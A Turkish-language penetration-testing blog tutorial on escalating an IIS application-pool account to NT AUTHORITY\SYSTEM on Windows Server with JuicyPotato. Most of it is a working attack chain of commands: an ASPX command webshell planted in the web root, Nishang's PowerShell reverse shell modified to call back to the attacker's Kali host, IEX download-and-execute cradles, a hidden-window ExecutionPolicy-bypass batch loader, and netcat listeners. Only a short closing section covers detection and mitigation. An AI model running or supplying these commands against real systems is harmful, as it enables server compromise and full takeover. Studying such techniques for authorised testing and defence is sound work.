Juicy Potato Uygulaması Kullanarak Windows Servis Kullanıcısı Yetkisinin Yükseltilmesi

0
225
views
Windows sızma testleri sırasında bir şekilde Windows servis hesabı yetkileri ele geçirilen işletim sisteminde hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, IIS web servisi yetkisi (iis apppool\defaultapppool) ile elde edilen ters bağlantıda, JuicyPotato.exe adlı araç kullanılarak Microsoft kaynaklı bir yapılandırma zafiyeti istismar edilecek ve NT AUTHORITY\SYSTEM yetkisi elde edilecektir.

 

Mevcut ortamda saldırgana ait Kali bilgisayarın IP adresi 192.168.100.137, hedef IIS sunucusunun IP adresi ise 192.168.100.129’dur. IIS yetkisine nasıl erişilebileceği bu yazı kapsamına alınmamıştır.

 

1) IIS Kurulumu

Ortamın hazırlanması için Windows Server 2008 R2 üzerinde IIS Servisi kurulabilir. Bunun yanında benzer zafiyet Windows Server 2016’da da devam etmektedir. Windows Server 2019’da ise bu zafiyetin giderilmiş olduğu belirtilmektedir.

Kurulum için öncelikle IIS servisi rol olarak seçilir.

 

İstenilen servisler varsa seçimi gerçekleştirilir.

 

Gerekli kontrollerden sonra kurulum gerçekleştirilir.

 

2) Windows Servis Kullanıcısının Yetkisi İle Komut Çalıştırabilme

IIS üzerinde komut satırı elde etmek için IIS kullanıcısının yetkisi ile komut çalıştırılacaktır. Bu amaçla Kali üzerindeki komut enjeksiyonu zafiyeti için kullanılan ASPX dosyası (aspx_cmd.aspx gibi) IIS sunucuya atılabilir. Aktarım işlemi için Kali üzerinde SMB servisi başlatılabilir.

mkdir egitim
locate *cmd.asp*
cp /usr/share/davtest/backdoors/aspx_cmd.aspx /root/egitim/
python /usr/share/doc/python-impacket/examples/smbserver.py PAYLASIM /root/egitim/

 

Bu dosya IIS kök dizinine yüklenir.

net use T: \\192.168.100.137\Paylasim
dir T:
copy T:\aspx_cmd.aspx C:\inetpub\wwwroot\komut.aspx

 

Bu dosya ile komut çalıştırılabildiği görülmektedir.

http://192.168.100.129/komut.aspx
ipconfig && echo. && echo. && whoami

 

3) Ters Bağlantı Elde Etme

IIS üzerinde komut çalıştırdıktan sonra, ters bağlantı elde edebilmek için Nishang projesine ait komut satırı dosyalarından birisi kullanılabilir.

https://github.com/samratashok/nishang/tree/master/Shells

 

Bu dosyalardan Invoke-PowerShellTcp.ps1 Github üzerinden indirilir.

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -O /root/egitim/Baglanti_9999.ps1
cd egitim/
ls -la
cat Baglanti_9999.ps1 | grep “PS >”

 

Betik içindeki örnek olarak verilen şekilde metodlar farklı şekilde çağırılabilir. Bunun yanında betiğin sonuna bu metodlardan biri yazılırsa, betik indirilip çalıştırılması sağlanarak ters bağlantı elde edilebilir. Çalıştırılma yöntemini her defasında belirtmemek için betiğin sonuna bağlantıyı sağlayacak komut eklenir.

tail -5 Baglanti_9999.ps1
echo “Invoke-PowerShellTcp -Reverse -IPAddress 192.168.100.137 -Port 9999” >> Baglanti_9999.ps1
tail -6 Baglanti_9999.ps1

 

Bu betik IIS sunucu tarafında indirilip, çalıştırıldığında Kali makinenin TCP\9999 portuna ters bağlantı açacaktır. İndirme talebi için web servisi ve gelecek bağlantıyı yakalamak için de dinleyici başlatılır.

python -m SimpleHTTPServer 80
nc -nlvp 9999

 

Komut enjesiyonu zafiyetine sahip web sayfasında Kali üzerindeki Invoke-PowerShellTcp.ps1 dosyası indirildiğinde IIS kullanıcı yetkisi (iis apppool\defaultapppool) ile komut satırı erişimi elde edilmiş olur.

powershell IEX(New-Object Net.WebClient).downloadString(‘http://192.168.100.137/Baglanti_9999.ps1’)
whoami

 

4) Windows Servislerindeki Zafiyetin Genel Tanımı

Windows işletim sisteminde özel yetkili hesaplar aşağıdaki gibi listelenebilir.

  • Local System (NT AUTHORITY\SYSTEM)
  • Administrators grubu üyeleri
  • Bazı öntanımlı gruplar (Backup Operators, Server Operators, Printer Operators)
  • Ön tanımlı servis hesapları – “NT AUTHORITY\SERVICE”, “NT AUTHORITY\NETWORK SERVICE”, “NT AUTHORITY\LOCAL SERVICE”
  • Managed Service Hesapları
  • Virtual Accounts
  • Üçüncü taraf uygulamalara ait hesaplar
  • Grup ilkelerindeki “User Right Assignment” altında yanlış yetkilendirme verilmiş kullanıcılar

Windows işletim sisteminde servisler, genel olarak aşağıdaki kullanıcı yetkilerine sahip olurlar.

  • IIS – SeImpersonatePrivilege – BUILTIN\IIS_IUSRS
  • MSSQL – SeAssignPrimaryTokenPrivilege – NT SERVICE\SQLAgent$SQLEXPRESS, NT SERVICE\MSSQLLaunchpad$SQLEXPRESS, NT SERVICE\MSSQL$SQLEXPRESS
  • Yedekleme Ürünleri (Veritas NetBackup gibi) – SeTcbPrivilege, SeCreateTokenPrivilege, SeBackupPrivilege, SeRestorePrivilege

Windows işletim sisteminde, bir kullanıcıda aşağıdaki yetkilerin / ayrıcalıkların birisinin bulunması durumunda o kullanıcı hesabının yetkisi, Windows işletim sistemindeki en yetkili hesap olan “NT AUTHORITY\SYSTEM” kullanıcısının yetkisine yükseltilebilir.

  • SeImpersonatePrivilege – Impersonate a client after authentication
  • SeAssignPrimaryTokenPrivilege – Replace a process-level token
  • SeTcbPrivilege – Act as part of the operating system
  • SeRestorePrivilege – Restore files and directories
  • SeBackupPrivilege – Back up files and directories
  • SeCreateTokenPrivilege – Create a token object
  • SeLoadDriverPrivilege – Load and unload device drivers
  • SeTakeOwnershipPrivilege – Take ownership of files or other objects
  • SeDebugPrivilege – Debug programs

Not: Belirtilen yetkiler ile ilgili detaylı bilgi için kaynaklardaki Siberportal yazısı incelenebilir.

 

IIS kullanıcı hesabı incelendiğinde, işlevi sebebi ile bir takım ek yetkileri olduğu görülmektedir.

whoami /priv

 

Bir servis kullanıcısının yetkisi kullanılarak hak yükseltmek için Juicy Potato adlı bir uygulama kullanılabilir. Juicy Potato ile hak yükseltebilmek için, bu uygulamayı çalıştıracak kullanıcının aşağıdaki proseslerden birisini çağırabilmesi gereklidir.

  • CreateProcessWithTokenW (SeImpersonatePrivilege gerekir)
  • CreateProcessAsUser (SeAssignPrimaryTokenPrivilege gerekir)

 

Bu saldırı sırasında yapılan temel işlem, DCOM (Distributed Component Object Model) nesnesi ile DCOM sunucusu arasındaki API çağrılarının arasına girmek (MITM) ve NTLM kimlik doğrulamasını (NTLM relay) gerçekleştirmektir. Böylece SYSTEM kullanıcısının yetkisini taklit edilebilir (SeImpersonatePrivilege) veya değiştirilebilir (SeAssignPrimaryTokenPrivilege).

 

5) Hak Yükseltme Zafiyetinin İstismarı

Github üzerinden JuicyPotato.exe dosyası indirilir.

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -O /root/egitim/jp.exe
file jp.exe
md5sum jp.exe

 

Github üzerinden Kali makineye indirilen dosya, daha önceden açılan web hizmeti üzerinden IIS sunucuya gönderilir.

powershell -c “(New-Object System.Net.WebClient).DownloadFile(‘http://192.168.100.137/jp.exe’,’C:\Users\Public\jp-yukselt.exe’)”
dir

 

JuicyPotato.exe aracı çalıştığında arka planda ters bağlantıyı tetikleyecek bir başka uygulama çalıştırılabilir, yeni bir yerel yönetici kullanıcısı oluşturulabilir, arka kapı bırakılabilir. Bu yazıda, ters bağlantı sağlayan Invoke-PowerShellTcp.ps1 betiğindeki port bilgisi TCP\8888 olarak değiştirilecek ve bu betiğin çalıştırılması sağlanacaktır.

tail -6 Baglanti_9999.ps1
cp Baglanti_9999.ps1 Baglanti_8888.ps1
nano Baglanti_8888.ps1
tail -6 Baglanti_8888.ps1

 

Betiği çağıracak şekilde bir bat dosyası, IIS sunucuya yerleştirilir.

echo “C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noninteractive -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile IEX(New-Object Net.WebClient).downloadString(‘http://192.168.100.137/Baglanti_8888.ps1’)” > Calistir.bat
type Calistir.bat

 

Not: “echo” ile dosyaya yazmaya çalışıldığında dosyanın başında kodlama hatası alınabilmekte ve Calistir.bat dosyası düzgün olarak çalışmayabilmektedir. Bu sebeple impacket-smbserver ile dosya transferi de gerçekleştirilebilirdi. Veya Kali içerisinde oluşturulan Calistir.bat dosyasi aşağıdaki gibi bir komutla da hedef sunucuya (çalıştırılmadan) indirilebilirdi.

powershell -c “(New-Object System.Net.WebClient).DownloadFile(‘http://192.168.100.137/Calistir.bat’,’C:\Users\Public\Calistir.bat’)”

 

Calistir.bat çalıştığında Kali üzerinde TCP\8888‘e bir talep gelecektir. Bu talebi yakalayacak dinleyici başlatılır.

nc -nlvp 8888

 

JuicyPotato.exe aracı rastgele bir port üzerinden araya girdiğinde, Calistir.bat dosyası çalışacak ve SYSTEM kullanıcı yetkisi ile komut satırı erişimi elde edilmiş olacaktır.

C:\Users\Public\jp-yukselt.exe -t * -p “C:\Users\Public\Calistir.bat” -l 9753

whoami
whoami /priv

Not: Dosya yolunu tam olarak belirtmeden de aşağıdaki gibi bir komutla da benzer işlem gerçekleştirilebilirdi.

.\jp-yukselt.exe -t * -p “.\Calistir.bat” -l 9753

 

6) Tespiti & Önlemi

Bu zafiyete karşı  alınabilecek (uygulanabilir) tedbirler aşağıdaki gibi sıralanabilir.

  • Windows Server 2019’da ise bu zafiyetin giderilmiş olduğu belirtilmektedir. Bu sebeple işletim sistemi sürümü yükseltilebilir.
  • Windows servislerine ait parola bilgleri oldukça güçlü bir şekilde belirlenmelidir.
  • Uygulamalara ait zafiyetler için gerekli önlemler alınmalıdır.
  • 4674 ve 4704 olay kayıtları izlenmelidir.
    • Local Group Policies -> Windows Settings -> Security Settings->Advanced Audit Policy Configuration ->System Audit Policy Configuration->Privilege Use & Policy change

 

Kaynaklar:

https://ohpe.it/juicy-potato/

Microsoft Ortamında Kullanıcı Hakları ve Ayrıcalıklar


Hot Potato – Windows Privilege Escalation
Abusing Token Privileges For Windows Local Privilege Escalation
https://www.exploit-db.com/papers/42556
https://2018.romhack.io/slides/RomHack%202018%20-%20Andrea%20Pierini%20-%20whoami%20priv%20-%20show%20me%20your%20Windows%20privileges%20and%20I%20will%20lead%20you%20to%20SYSTEM.pdf
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz